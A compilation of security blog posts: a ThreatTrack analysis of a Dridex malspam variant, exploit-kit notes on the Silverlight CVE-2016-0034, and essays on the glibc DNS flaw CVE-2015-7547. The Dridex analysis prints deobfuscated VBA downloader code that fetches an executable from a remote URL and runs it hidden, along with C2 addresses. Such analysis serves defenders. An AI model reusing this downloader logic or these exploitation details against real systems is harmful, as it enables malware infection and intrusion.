This week on Security Weekly we interview Jeff Pike and Jeff Frisk from SANS GIAC. Paul and Larry talk about digital badges, CPEs, and SANS training. On Security Weekly, Paul, Larry, and Mike talk about the Hacker Summer Camp Planning Guide, Open DNS Blogs, wireless mics and keyboards, and excessive amounts of lube! The best place to get information about security! Stay tuned for the best in security news.
Credit: Christopher D. Del Fierro, Lead Malware Research Engineer, ThreatTrack Security
We have seen Dridex since 2014 and it is still active in the wild today. This research will be focusing on analyzing Dridex and on how it is able to remain undetected by most antivirus engines. For those not familiar with Dridex, it is a malspam (malware from a spam email) that targets Windows-operated systems with the intent to steal credentials and obtain money from a victim’s bank account.
Malware authors, not surprisingly, always try to come up with something new to avoid detection and make the researcher’s life more difficult. In a quick overview, there is nothing new in the infection sequence of Dridex. But authors of Dridex have made some upgrades and workarounds to avoid detection that we’ll discuss in detail below.
INFECTION CHAIN SUMMARY
As most of Dridex samples come through spam, this particular new variant is no different. We recently caught a sample of its email attachment named “Payment Confirmation 98FD41.doc.” Although the attachment is named with a .doc extension, it is not a DOC file format but actually a malformed MHT. MHTs are archived format for web pages that are usually opened with Internet Explorer by default.
The malware author purposely crafted bytes before the string “MIME-version” to signify the start of an actual MHT file. This was done in an attempt to bypass some antivirus scanner engines and wrongfully classify this type of malware as a txt file or any other file format but not MHT.
This MHT file contains an embedded DOC file inside. The DOC file is the one that contains VBA (Visual Basic for Applications) macro codes responsible for downloading and executing Dridex unbeknownst to the user.
In most scenarios where computer systems are running Microsoft Windows, MHT files are loaded through Internet Explorer while DOC files are loaded by Microsoft Word, unless an advanced user changes its default application launcher settings. Because of those default settings, the malware author deliberately altered the extension of its malformed MHT file and changed it into .doc, fooling the system into loading it via Microsoft Word. And if macros are enabled in Microsoft Word, it will continue its infection routine and download and execute Dridex in the background.
As of this blog, executing the “Payment Confirmation 98FD41.doc” in a sandbox environment with macros enabled produces an error in VBA. This is because the site that it supposedly attempts to connect to is now down.
Pressing Alt+F8 in Microsoft Word takes us to the Macros screen. As you can see, it has two macro functions, AutoOpen and FYFChvhfygDGHds.
Attempting to click “Edit” will promt a request for a password, which, of course, could be anything.
This makes things a bit more challenging, but we can extract the information using a more unconventional method.
Since “Payment Confirmation 98FD41.doc” is actually an MHT file that contains an embedded doc file, the first step is to rename it to an .eml extension “Payment Confirmation 98FD41.eml.” From there, we opened it using Microsoft Outlook (though whatever email client is currently being used will suffice). The embedded objects in “Payment Confirmation 98FD41.doc” have become attachments when renamed to .eml. Then we browsed the attachments and looked for a file that starts with the string “ActiveMime” when viewed in a hex editor.
This type is of file format is an MSO and could not be read normally by the naked eye. Since this is an old-school malware, we were lucky to have kept an old-school tool called UNMSO.EXE, which, as the name implies, unpacks the MSO. The output of this tool produces a “true” DOC file format. And yes, it holds our malicious VBA macro codes inside.
Quickly examining the DOC file output, we can see naked strings “http://22.214.171.124/indiana/jones.php” and ”\yFUYIdsf.exe” in the body.
We then used a tool called olevba.py (http://www.decalage.info/python/olevba) to extract VBA macro source codes and output its result into a text file.
Typical to any VBA macro malwares, it is obfuscated and contains a bunch of useless codes in an attempt to confuse the researcher analyzing it. The list is pretty lengthly, so only the important ones are listed here.
pjIOHdsfc = UserForm1.TextBox1 (which points to the string http://126.96.36.199/indiana/jones.php)
dTYFidsff = Environ(StrReverse(“PMET”)) & UserForm1.TextBox2 (which points to the string \yFUYIdsf.exe)
Dim erDTFGHJkds As Object
Set erDTFGHJkds = CreateObject(StrReverse(“1.5.tseuqerPTTHniW.PTTHniW”))
erDTFGHJkds.Open StrReverse(“TEG”), pjIOHdsfc, False
Open dTYFidsff For Binary Access Write As #yFVHJBkdsf
sjdhfbk = Shell(dTYFidsff, vbHide)
VBA Open command is responsible for connecting and downloading Dridex while VBA Shell command is responsible for executing it. In this example, it connects and downloads Dridex in http://188.8.131.52/indiana/jones.php, which is later renamed and executed in %TEMP%\ yFUYIdsf.exe.
DOWNLOADED DRIDEX EXECUTABLE
The downloaded Dridex executable has an MD5 of EBB1562E4B0ED5DB8A646710F3CD2EB8. Analyzing this executable is like an orange, we have to peel-off the outer layer first to get to the good stuff. We can break the Dridex executable further into two parts: The Decoder and the Naked Dridex.
A quick glance at its entry-point, it looks like a Microsoft Visual C++ 6.0 compiled program. In fact, it is really a Microsoft Visual C++ 6.0 except that the usual code-execution is not followed. That means Dridex codes are inserted right before WINMAIN is called (WINMAIN is the usual go-to entry-point of a C++ 6 compiled executable). This was intended by the malware author in an attempt to hide its code from the researcher. There are also a bunch of useless codes, strings, loops and windows APIs to throw off researchers when debugging.
The code will look for kernel32.VirtualAlloc API by traversing kernel32.dll’s import table and comparing it to the hash of “3A8E4D14h” using its own hashing algorithm.
It uses the unconventional PUSH DWORD OFFSET – RETN combination instead of a direct CALL DWORD approach to hide its procedures.
Once kernel32.VirtualAlloc has been successfully saved, it will then use the said API to allocate a size of 5A44h bytes in memory in order to decrypt codes and write it to the allocated memory space before transferring execution.
It will then again traverse kernel32.dll in order to get the base image address and populate its API table, which is needed for further unpacking. Using GetProcAddress, it will get the address of the following APIs:
After a series of debugging obfuscated codes and decrypting, it will finally land on using RTLDecompressBuffer in which an MZ-PE file will be decompressed in memory, after which execution is then transferred using CreateThread. This decompressed executable (we call it Naked Dridex) is detected as Trojan.Win32.Dridex.aa (v) by VIPRE long before. Based on this observation, this variant of the Dridex executable was already caught in the past, hence the reason it is detected by a heuristic pattern by ThreatTrack’s VIPRE Antivirus. The only difference now is that it is wrapped around by a “new” protective layer as a means of bypassing most antivirus engines.
We also made another interesting discovering when debugging: The malware attempts to hide its tracks by using Windows API FreeConsole. Taken from MSDN, FreeConsole detaches the calling process from its console.
Since this executable is of a Win32 console-type subsystem, you should see a console application popping up and then closing abruptly if you run it in a Windows environment (i.e. double-click “execute”). It only means that it detached itself from the console application but continually runs itself in the background. One way to test this theory is to execute the malware in CMD.EXE and you should see that no inputs will be accepted subsequently. This is because FreeConsole detached the malware from CMD.EXE. Even pushing “CTRL-C,” “CTRL-BREAK” or even closing CMD.EXE altogether will not stop it from progressing.
THE NAKED DRIDEX
This is where it all gets interesting. Although we have peeled off most of its outer layer, this malware still has plenty of obfuscated codes within it. Note that its Import Address Table is 0, meaning that at some point it will have to populate its IAT.
These are the following Windows APIs that will be used:
Previous versions of Dridex have CnC configuration that are usually found and is easily decrypted with linear XOR or even seen as plain text format like this in its body:
However, with this version, settings are located in .data section in hex format just to make it harder for the researcher to distinguish them.
Converting them to their ASCII counterpart will have the following settings as:
Bot version: 0x78 = 120
0xB9.0x18.0x5C.0xE5:0x1287 = 184.108.40.206:4743
0x67.0xE0.0x53.0x82:0x102F = 220.127.116.11:4143
0x2E.0x65.0x9B.0x35:0x0477 = 18.104.22.168:1143
0x01.0xB3.0xAA.0x07:0x118D = 22.214.171.124:4493
Dridex will collect information to fingerprint the infected system. Data like the Windows version “Service Pack,” computer name, username, install date and installed softwares will be gathered and sent to a CnC server.
A unique module name by the infected system will be generated by computing for the MD5 of combined data of the following registry entries:
Key: HKEY_LOCAL_MACHINE/Volatile Environment
Key: HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion
The MD5 result will be appended to the ComputerName joined with the character “_” (e.g. “WINXP_2449c0c0c6a9ffb4e33613709f4db358”).
It will also gather a list of installed software by enumerating the subkeys of HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall and acquiring their “DisplayName” and “DisplayVersion.” It will construct a string using the format “DisplayName (DisplayVersion) separated by “;” for every subkey enumerated.
It will then attempt to delete versions of AVG antivirus in an infected system by searching for its settings in the registry “HKLM/SYSTEM/CurrentControlSet/services/Avg/SystemValues” and traversing the %LocalAppData% folder for its files. It even supported deleting future versions of AVG, from AVG2010 upto AVG2020.
We have noticed, though, that there seems to be an irregularity on the coding part of the malware author because it decrements the value of AVG20(%d) by one where %d starts from 20 (e.g AVG2020, AVG2019, AVG2018, etc.) So when it reaches AVG2010, instead of decrementing to AVG2009, it becomes AVG209, AVG208, AVG207 upto AVG206.
This is the message format that is to be sent to a CnC.
<loader><get_module unique=”%s” botnet=”%d” system=”%d” name=”%s” bit=”%d”/>
Sample message to send:
<loader><get_module unique=”WINXP_2449c0c0c6a9ffb4e33613709f4db358″ botnet=”120″ system=”23120″ name=”list” bit=”32″/><soft><![CDATA[4NT Unicode 6.0 (6.0);AOL Instant Messenger;CodeStuff Starter (126.96.36.199);Compuware DriverStudio 3.2 (3.2);HijackThis 1.99.1 (1.99.1);IDA Pro Advanced v5.0;InstallRite 2.5;mIRC (6.21);PE Explorer 1.96 (1.96);Viewpoint Media Player;VideoLAN VLC media player 0.8.6c(0.8.6c);Windows XP Service Pack 2 (20040803.231319);WinHex;WinPcap 4.0.1 (188.8.131.521);WinRAR archiver;Wireshark 0.99.6a (0.99.6a);Yahoo! Messenger;ActivePerl5.8.3 Build 809 (5.8.809);Debugging Tools for Windows (x86) (184.108.40.206);Microsoft Visual C++ 2008 Redistributable – x86 9.0.30729.4148 (9.0.30729.4148);Python 2.5.1 (2.5.1150);WebFldrs XP (9.50.5318);UltraEdit-32 (10.20c);Java 2 RuntimeEnvironment, SE v1.4.2_15 (1.4.2_15);Microsoft Office Professional Edition 2003 (11.0.5614.0);MSN Messenger 7.0 (7.0.0777);Adobe Reader 6.0 (6.0);VMware Tools (220.127.116.118637);Compuware DriverStudio (3.2);Starting path: 5]]></soft></loader>
The malware then attempts to connect to its CnC servers using SSL requests by using wininet functions such as InternetConnectW and HttpOpenRequestW. It then sends the data gathered earlier using HttpSendRequestW.
The server will even reply a malicious SSL certificate upon a successful connection. SQUERT identified the Malicious SSL certificate as Dridex.
The CnC server is supposed to issue a malicious DLL file at this point with an export function of “NotifierInit” and attach it to a running process of EXPLORER.EXE; however, the CnCs in its list are now taken down as of this writing.
WHAT TO DO?
To keep Dridex at bay, we recommended you block it early from the root of its infection chain. Here are some tips:
- Always keep your operating system and security products up to date.
- Take precaution when opening attachments, especially when sent by an unknown sender.
- Never enable VBA macros by default for any Microsoft Office application. Some macro malwares even tell you how to enable macros or may mislead you in doing so.
- Leverage advanced threat defense tools like ThreatSecure Email to protect against spear-phishing and targeted malware attacks that bypass traditional defenses. Cybercriminals have developed increasingly sophisticated attacks to bypass anti-spam and email filtering technologies and infiltrate your network. ThreatSecure Email identifies suspicious emails, detects malicious attachments or links, and stops them before they can reach their target, without relying on signatures.
A6844F8480E641ED8FB0933061947587 – malicious MHT attachment (LooksLike.MHT.Malware.a (v))
EBB1562E4B0ED5DB8A646710F3CD2EB8 – Dridex executable (Trojan.Win32.Generic!BT)
After 7 years of Contagio existence, Google Safe Browsing services notified Mediafire (hoster of Contagio and Contagiominidump files) that "harmful" content is hosted on my Mediafire account.
It is harmful only if you harm your own pc and but not suitable for distribution or infecting unsuspecting users but I have not been able to resolve this with Google and Mediafire.
Mediafire suspended public access to Contagio account.
The file hosting will be moved.
If you need any files now, email me the posted Mediafire links (address in profile) and I will pull out the files and share via other methods.
P.S. I have not been able to resolve "yet" because it just happened today, not because they refuse to help. I don't want to affect Mediafire safety reputation and most likely will have to move out this time.
The main challenge is not to find hosting, it is not difficult and I can pay for it, but the effort move all files and fix the existing links on the Blogpost, and there are many. I planned to move out long time ago but did not have time for it. If anyone can suggest how to change all Blogspot links in bulk, I will be happy.
P.P.S. Feb. 24 - The files will be moved to a Dropbox Business account and shared from there (Dropbox team confirmed they can host it )
The transition will take some time, so email me links to what you need.
Thank you all
Norse Corp followup, DHS and FBI Employee info leak, ENCRYPT Act, and Hackers aren't smart.
Show notes for this episode: http://wiki.securityweekly.com/wiki/index.php/Hack_Naked_TV_February_18_2016
Fixed with the January 2016 Microsoft patches, CVE-2016-0034 ( MS16-006 ) is a Silverlight Memory Corruption vulnerability and it has been spotted by Kaspersky with rules to hunt Vitaliy Toropov’s unknown Silverlight exploit mentioned in HackingTeam leak.
Angler EK :
On the 2016-02-18 the landing of Angler changed slightly to integrate this piece of code :
|Silverlight integration Snipet from Angler Landing after decoding|
|Angler EK replying without body to silverlight call|
Here a Pass in great britain dropping Vawtrak via Bedep buildid 7786
2016-02-22 Here we go : call are not empty anymore.
|Angler EK dropping Teslacrypt via silverlight 5.1.41105.0 after the "EITest" redirect |
Edit1 : I received confirmation that it's indeed CVE-2016-0034 from multiple analyst including Anton Ivanov (Kaspersky). Thanks !
Xap file : 01ce22f87227f869b7978dc5fe625e16
Dll : 22a9f342eb367ea9b00508adb738d858
Out of topic payload : 6a01421a9bd82f02051ce6a4ea4e2edc (Teslacrypt)
Fiddler sent here
Malc0de spotted modification in the Rig landing indicating integration of Silverlight Exploit.
Here is a pass where the Silverlight is being fired and successfully exploited. CVE identification by : Anton Ivanov (Kaspersky)
|RIG - CVE-2016-0034 - 2016-03-29|
containing this dll : e535cf04335e92587f640432d4ec3838b4605cd7e3864cfba2db94baae060415
( Out of topic payload : Qbot 3242561cc9bb3e131e0738078e2e44886df307035f3be0bd3defbbc631e34c80 )
Files : Fiddler and sample (password is malware)
The Mysterious Case of CVE-2016-0034: the hunt for a Microsoft Silverlight 0-day - 2016-01-13 - Costin Raiu & Anton Ivanov - Kaspersky
Post Publication Reading:
(PDF) Analysis of Angler's new silverlight Exploit - 2016-03-10 - Bitdefender Labs
CVE-2015-7547 is not actually the first bug found in glibc’s DNS implementation. A few people have privately asked me how this particular flaw compares to last year’s issue, dubbed “Ghost” by its finders at Qualys. Well, here’s a list of what that flaw could not exploit:
apache, cups, dovecot, gnupg, isc-dhcp, lighttpd, mariadb/mysql, nfs-utils, nginx, nodejs, openldap, openssh, postfix, proftpd, pure-ftpd, rsyslog, samba, sendmail, sysklogd, syslog-ng, tcp_wrappers, vsftpd, xinetd.
And here are the results from a few minutes of research on the new bug.
More is possible, but I think the point is made. The reason why the new flaw is significantly more virulent is that:
- This is a flaw in getaddrinfo(), which modern software actually uses nowadays for IPv6 compatibility, and
- Ghost was actually a really “fiddly” bug, in a way CVE-2015-7547 just isn’t.
As it happens, Qualys did a pretty great writeup of Ghost’s mitigating factors, so I’ll just let the experts speak for themselves:
- The gethostbyname*() functions are obsolete; with the advent of IPv6, recent applications use getaddrinfo() instead.
- Many programs, especially SUID binaries reachable locally, use gethostbyname() if, and only if, a preliminary call to inet_aton() fails. However, a subsequent call must also succeed (the “inet-aton” requirement) in order to reach the overflow: this is impossible, and such programs are therefore safe.
- Most of the other programs, especially servers reachable remotely, use gethostbyname() to perform forward-confirmed reverse DNS (FCrDNS, also known as full-circle reverse DNS) checks. These programs are generally safe, because the hostname passed to gethostbyname() has normally been pre-validated by DNS software:
- . “a string of labels each containing up to 63 8-bit octets, separated by dots, and with a maximum total of 255 octets.” This makes it impossible to satisfy the “1-KB” requirement.
- Actually, glibc’s DNS resolver can produce hostnames of up to (almost) 1025 characters (in case of bit-string labels, and special or non-printable characters). But this introduces backslashes (‘\\’) and makes it impossible to satisfy the “digits-and-dots” requirement.
In order to reach the overflow at line 157, the hostname argument must meet the following requirements:
- Its first character must be a digit (line 127).
– Its last character must not be a dot (line 135).
– It must comprise only digits and dots (line 197) (we call this the “digits-and-dots” requirement).
- It must be long enough to overflow the buffer. For example, the non-reentrant gethostbyname*() functions initially allocate their buffer with a call to malloc(1024) (the “1-KB” requirement).
- It must be successfully parsed as an IPv4 address by inet_aton() (line 143), or as an IPv6 address by inet_pton() (line 147). Upon careful analysis of these two functions, we can further refine this “inet-aton” requirement:
- It is impossible to successfully parse a “digits-and-dots” hostname as an IPv6 address with inet_pton() (‘:’ is forbidden). Hence it is impossible to reach the overflow with calls to gethostbyname2() or gethostbyname2_r() if the address family argument is AF_INET6.
- Conclusion: inet_aton() is the only option, and the hostname must have one of the following forms: “a.b.c.d”, “a.b.c”, “a.b”, or “a”, where a, b, c, d must be unsigned integers, at most 0xfffffffful, converted successfully (ie, no integer overflow) by strtoul() in decimal or octal (but not hexadecimal, because ‘x’ and ‘X’ are forbidden).
Like I said, fiddly, thus giving Qualys quite a bit of confidence regarding what was and wasn’t exploitable. By contrast, the constraints on CVE-2015-7547 are “IPv6 compatible getaddrinfo”. That ain’t much. The bug doesn’t even care about the payload, only how much is delivered and if it had to retry.
It’s also a much larger malicious payload we get to work with. Ghost was four bytes (not that that’s not enough, but still).
In Ghost’s defense, we know that flaw can traverse caches, requiring far less access for attackers. CVE-2015-7547 is weird enough that we’re just not sure.
This week, Joff talks with Paul, Carlos, and Michael about building DIY Linux-based routers.
TL;DR: The glibc DNS bug (CVE-2015-7547) is unusually bad. Even Shellshock and Heartbleed tended to affect things we knew were on the network and knew we had to defend. This affects a universally used library (glibc) at a universally used protocol (DNS). Generic tools that we didn’t even know had network surface (sudo) are thus exposed, as is software written in programming languages designed explicitly to be safe. Who can exploit this vulnerability? We know unambiguously that an attacker directly on our networks can take over many systems running Linux. What we are unsure of is whether an attacker anywhere on the Internet is similarly empowered, given only the trivial capacity to cause our systems to look up addresses inside their malicious domains.
We’ve investigated the DNS lookup path, which requires the glibc exploit to survive traversing one of the millions of DNS caches dotted across the Internet. We’ve found that it is neither trivial to squeeze the glibc flaw through common name servers, nor is it trivial to prove such a feat is impossible. The vast majority of potentially affected systems require this attack path to function, and we just don’t know yet if it can. Our belief is that we’re likely to end up with attacks that work sometimes, and we’re probably going to end up hardening DNS caches against them with intent rather than accident. We’re likely not going to apply network level DNS length limits because that breaks things in catastrophic and hard to predict ways.
This is a very important bug to patch, and it is good we have some opportunity to do so.
Update: Click here to learn how this issue compares to last year’s glibc DNS flaw, Ghost.
Here is a galaxy map of the Internet. I helped the Opte project create this particular one.
And this galaxy is Linux – specifically, Ubuntu Linux, in a map by Thomi Richards, showing how each piece of software inside of it depends on each other piece.
There is a black hole at the center of this particular galaxy – the GNU C Standard Library, or glibc. And at this center, in this black hole, there is a flaw. More than your average or even extraordinary flaw, it’s affecting a shocking amount of code. How shocking?
I’ve seen a lot of vulnerabilities, but not too many that create remote code execution in sudo. When DNS ain’t happy, ain’t nobody happy. Just how much trouble are we in?
We’re not quite sure.
Most Internet software is built on top of Linux, and most Internet protocols are built on top of DNS. Recently, Redhat Linux and Google discovered some fairly serious flaws in the GNU C Library, used by Linux to (among many other things) connect to DNS to resolve names (like google.com) to IP addresses (like 18.104.22.168). The buggy code has been around for quite some time – since May 2008 – so it’s really worked its way across the globe. Full remote code execution has been demonstrated by Google, despite the usual battery of post-exploitation mitigations like ASLR, NX, and so on.
What we know unambiguously is that an attacker who can monitor DNS traffic between most (but not all) Linux clients, and a Domain Name Server, can achieve remote code execution independent of how well those clients are otherwise implemented. (Android is not affected.) That is a solid critical vulnerability by any normal standard.
Ranking exploits is silly. They’re not sports teams. But generally, what you can do is actually less important than who you have to be to do it. Bugs like Heartbleed, Shellshock, and even the recent Java Deserialization flaws ask very little of attackers – they have to be somewhere on a network that can reach their victims, maybe just anywhere on the Internet at large. By contrast, the unambiguous victims of glibc generally require their attackers to be close by.
You’re just going to have to believe me when I say that’s less of a constraint than you’d think, for many classes of attacker you’d actually worry about. More importantly though, the scale of software exposed to glibc is unusually substantial. For example:
There’s a reason I’m saying this bug exposes Linux in general to risk. Even your paranoid solutions leak DNS – you can route everything over a VPN, but you’ve still got to discover where you’re routing it to, and that’s usually done with DNS. You can push everything over HTTPS, but what’s that text after the https://? It’s a DNS domain.
Importantly, the whole point of entire sets of defenses is that there’s an attacker on the network path. That guy just got a whole new set of toys, against a whole new set of devices. Everyone protects apache, who protects sudo?
So, independent of whatever else may be found, Florian, Fermin, Kevin, and everyone else at Redhat and Google did some tremendous work finding and repairing something genuinely nasty. Patch this bug with extreme prejudice. You’ll have to reboot everything, even if it doesn’t get worse.
It might get worse.
DNS is how this Internet (there were several previous attempts) achieves cross-organizational interoperability. It is literally the “identity” layer everything else builds upon; everybody can discover Google’s mail server, but only Google can change it. Only they have the delegated ownership rights for gmail.com and google.com. Those rights were delegated by Verisign, who owns .com, who themselves received that exclusive delegation from ICANN, the Internet Corporation for Assigned Names and Numbers.
The point is not to debate the particular trust model of DNS. The point is to recognize that it’s not just Google who can register domains; attackers can literally register badguy.com and host whatever they want there. If a DNS vulnerability could work through the DNS hierarchy, we would be in a whole new class of trouble, because it is just extraordinarily easy to compel code that does not trust you to retrieve arbitrary domains from anywhere in the DNS. You connect to a web server, it wants to put your domain in its logs, it’s going to look you up. You connect to a mail server, it wants to see if you’re a spammer, it’s going to look you up. You send someone an email, they reply. How does their email find you? Their systems are going to look you up.
It would be unfortunate if those lookups led to code execution.
Once, I gave a talk to two hundred software developers. I asked them, how many of you depend on DNS? Two hands go up. I then asked, how many of you expect a string of text like google.com to end up causing a connection to Google? 198 more hands. Strings containing domain names happen all over the place in software, in all sorts of otherwise safe programming languages. Far more often than not, those strings not only find their way to a DNS client, but specifically to the code embedded in the operating system (the one thing that knows where the local Domain Name Server is!). If that embedded code, glibc, can end up receiving from the local infrastructure traffic similar enough to what a full-on local attacker would deliver, we’re in a lot more trouble. Many more attackers can cause lookups to badguy.com, than might find themselves already on the network path to a target.
Domain Name Servers
Glibc is what is known as a “stub resolver”. It asks a question, it gets an answer, somebody else actually does most of the work running around the Internet bouncing through ICANN to Verisign to Google. These “somebody elses” are Domain Name Servers, also known as caching resolvers. DNS is an old protocol – it dates back to 1983 – and comes from a world where bandwidth was so constrained that every bit mattered, even during protocol design. (DNS got 16 bits in a place so TCP could get 32. “We were young, we needed the bits” was actually a thing.) These caching resolvers actually enforce a significant amount of rules upon what may or may not flow through the DNS. The proof of concept delivered by Google essentially delivers garbage bytes. That’s fine on the LAN, where there’s nothing getting in the way. But name servers can essentially be modeled as scrubbing firewalls – in most (never all) environments, traffic that is not protocol compliant is just not going to reach stubs like glibc. Certainly that Google Proof of Concept isn’t surviving any real world cache.
Does that mean nothing will? As of yet, we don’t actually know. According to Redhat:
A back of the envelope analysis shows that it should be possible to write correctly formed DNS responses with attacker controlled payloads that will penetrate a DNS cache hierarchy and therefore allow attackers to exploit machines behind such caches.
I’m just going to state outright: Nobody has gotten this glibc flaw to work through caches yet. So we just don’t know if that’s possible. Actual exploit chains are subject to what I call the MacGyver effect. For those unfamiliar, MacGyver was a 1980’s television show that showed a very creative tinkerer building bombs and other such things with tools like chocolate. The show inspired an entire generation of engineers, but did not lead to a significant number of lost limbs because there was always something non-obvious and missing that ultimately prevented anything from working. Exploit chains at this layer are just a lot more fragile than, say, corrupted memory. But we still go ahead and actually build working memory corruption exploits, because some things are just extraordinarily expensive to fix, and so we better be sure there’s unambiguously a problem here.
At the extreme end, there are discussions happening about widespread DNS filters across the Internet – certainly in front of sensitive networks. Redhat et al did some great work here, but we do need more than the back of the envelope. I’ve personally been investigating cache traversal variants of this attack. Here’s what I can report after a day.
Somewhat simplified, the attacks depend on:.
- A buffer being filled with about 2048 bytes of data from a DNS response
- The stub retrying, for whatever reason
- Two responses ultimately getting stacked into the same buffer, with over 2048 bytes from the wire
The flaw is linked to the fact that the stack has two outstanding requests at the same time – one for IPv4 addresses, and one for IPv6 addresses. Furthermore DNS can operate over both UDP and TCP, with the ability to upgrade from the former to the latter. There is error handling in DNS, but most errors and retries are handled by the caching resolver, not the stub. That means any weird errors just cause the (safer, more properly written) middlebox to handle the complexity, reducing degrees of freedom for hitting glibc.
Given that rough summary of the constraints, here’s what I can report. This CVE is easily the most difficult to scope bug I’ve ever worked on, despite it being in a domain I am intimately familiar with. The trivial defenses against cache traversal are easily bypassable; the obvious attacks that would generate cache traversal are trivially defeated. What we are left with is a morass of maybe’s, with the consequences being remarkably dire (even my bug did not yield direct code execution). Here’s what I can say at present time, with thanks to those who have been very generous with their advice behind the scenes.
- The attacks do not need to be garbage that could never survive a DNS cache, as they are in the Google PoC. It’s perfectly legal to have large A and AAAA responses that are both cache-compatible and corrupt client memory. I have this working well.
- The attacks do not require UDP or EDNS0. Traditional DNS has a 512 byte limit, notably less than the 2048 bytes required. Some people (including me) thought that since glibc doesn’t issue the EDNS0 request that declares a larger buffer, caching resolvers would not provide sufficient data to create the required failure state. Sure, if the attack was constrained to UDP as in the Google PoC. But not only does TCP exist, but we can set the tc “Truncation” bit to force an upgrade to the protocol with more bandwidth. This most certainly does traverse caches.
- There are ways of making the necessary retry occur, even through TCP. We’re still investigating them, as it’s a fundamental requirement for the attack to function. (No retry, no big write to small buf.)
Where I think we’re going to end up, around 24 (straight) hours of research in, is that some networks are going to be vulnerable to some cache traversal attacks sometimes, following the general rule of “attacks only get better”. That rule usually only applies to crypto vulns, but on this half-design half-implementation vuln, we get it here too. This is in contrast to the on-path attackers, who “just” need to figure out how to smash a 2016 stack and away they go. There’s a couple comments I’d like to make, which summarize down to “This may not get nasty in days to weeks, but months to years has me worried.”
- Low reliability attacks become high reliability in DNS, because you can just do a lot of them very quickly. Even without forcing an endpoint to hammer you through some API, name servers have all sorts of crazy corner cases where they blast you with traffic quickly, and stop only when you’ve gotten data successfully in their cache. Load causes all sorts of weird and wooly behavior in name servers, so proving something doesn’t work in the general case says literally nothing about edge case behavior.
- Low or no Time To Live (TTL) mean the attacker can disable DNS caching, eliminating some (but not nearly all) protections one might assume caching creates. That being said, not all name servers respect a zero TTL, or even should.
- If anything is going to stop actual cache traversing exploitability, it’s that you just have an absurd amount more timing and ordering control directly speaking to clients over TCP and UDP, than you do indirectly communicating with the client through a generally protocol enforcing cache. That doesn’t mean there won’t be situations where you can cajole the cache to do your bidding, even unreliably, but accidental defenses are where we’re at here.
- Those accidental defenses are not strong. They’re accidents, in the way DNS cache rules kept my own attacks from being discovered. Eventually we figured out we could do other things to get around those defenses and they just melted in seconds. The possibility that a magic nasty payload pushes a major namesever or whatever into some state that quickly and easily knocks stuff over, on the scale of months to years, is non-trivial.
- Stub resolvers are not just weak, they’re kind of designed to be that way. The whole point is you don’t need a lot of domain specific knowledge (no pun intended) to achieve resolution over DNS; instead you just ask a question and get an answer. Specifically, there’s a universe of DNS clients that don’t randomize ports (or even transaction id’s). You really don’t want random Internet hosts poking your clients spoofing your name servers. Protecting against spoofed traffic on the global Internet is difficult; preventing traffic spoofing from outside networks using internal addresses is on the edge of practicality.
Let’s talk about suggested mitigations, and then go into what we can learn policy-wise from this situation.
Length Limits Are Silly Mitigations
And ultimately, any DNS packet filter is a poor version of what you really want, which is an actual protocol enforcing scrubbing firewall, i.e. a name server that is not a stub, though it might be a forwarder (meaning it enforces all the rules and provides a cache, but doesn’t wander around the Internet resolving names). My expectations for mitigations, particularly as we actually start getting some real intelligence around cache traversing glibc attacks, are:
- We will put more intelligent resolvers on more devices, such that glibc is only talking to the local resolver not over the network, and
- Caching resolvers will learn how to specially handle the case of simultaneous A and AAAA requests. If we’re protected from traversing attacks it’s because the attacker just can’t play a lot of games between UDP and TCP and A and AAAA responses. As we learn more about when the attacks can traverse caches, we can intentionally work to make them not.
Local resolvers are popular anyway, because they mean there’s a DNS cache improving performance. A large number of embedded routers are already safe against the verified on-path attack scenario due to their use of dnsmasq, a common forwarding cache.
Note that technologies like DNSSEC are mostly orthogonal to this threat; the attacker can just send us signed responses that he in particular wants to break us. I say mostly because one mode of DNSSEC deployment involves the use of a local validating resolver; such resolvers are also DNS caches that insulate glibc from the outside world.
There is the interesting question of how to scan and detect nodes on your network with vulnerable versions of glibc. I’ve been worried for a while we’re only going to end up fixing the sorts of bugs that are aggressively trivial to detect, independent of their actual impact to our risk profiles. Short of actually intercepting traffic and injecting exploits I’m not sure what we can do here. Certainly one can look for simultaneous A and AAAA requests with identical source ports and no EDNS0, but that’s going to stay that way even post patch. Detecting what on our networks still needs to get patched (especially when ultimately this sort of platform failure infests the smallest of devices) is certain to become a priority – even if we end up making it easier for attackers to detect our faults as well.
If you’re looking for actual exploit attempts, don’t just look for large DNS packets. UDP attacks will actually be fragmented (normal IP packets cannot carry 2048 bytes) and you might forget DNS can be carried over TCP. And again, large DNS replies are not necessarily malicious.
And thus, we end up at a good transition point to discuss security policy. What do we learn from this situation?
The Fifty Thousand Foot View
Patch this bug. You’ll have to reboot your servers. It will be somewhat disruptive. Patch this bug now, before the cache traversing attacks are discovered, because even the on-path attacks are concerning enough. Patch. And if patching is not a thing you know how to do, automatic patching needs to be something you demand from the infrastructure you deploy on your network. If it might not be safe in six months, why are you paying for it today?
It’s important to realize that while this bug was just discovered, it’s not actually new. CVE-2015-7547 has been around for eight years. Literally, six weeks before I unveiled my own grand fix to DNS (July 2008), this catastrophic code was committed.
The timing is a bit troublesome, but let’s be realistic: there’s only so many months to go around. The real issue is it took almost a decade to fix this new issue, right after it took a decade to fix my old one (DJB didn’t quite identify the bug, but he absolutely called the fix). The Internet is not less important to global commerce than it was in 2008. Hacker latency continues to be a real problem.
What maybe has changed over the years is the strangely increasing amount of talk about how the Internet is perhaps too secure. I don’t believe that, and I don’t believe anyone in business (or even with a credit card) does either. But the discussion on cybersecurity seems dominated by the necessity of insecurity. Did anyone know about this flaw earlier? There’s absolutely no way to tell. We can only know we need to be finding these bugs faster, understanding these issues better, and fixing them more comprehensively.
We need to not be finding bugs like this, eight years from now, again.
(There were clear public signs of impending public discovery of this flaw, so do not take my words as any form of criticism for the release schedule of this CVE.)
My concerns are not merely organizational. I do think we need to start investing significantly more in mitigation technologies that operate before memory corruption has occurred. ASLR, NX, Control Flow Guard – all of these technologies are greatly impressive, at showing us who our greatly impressive hackers are. They’re not actually stopping code execution from being possible. They’re just not.
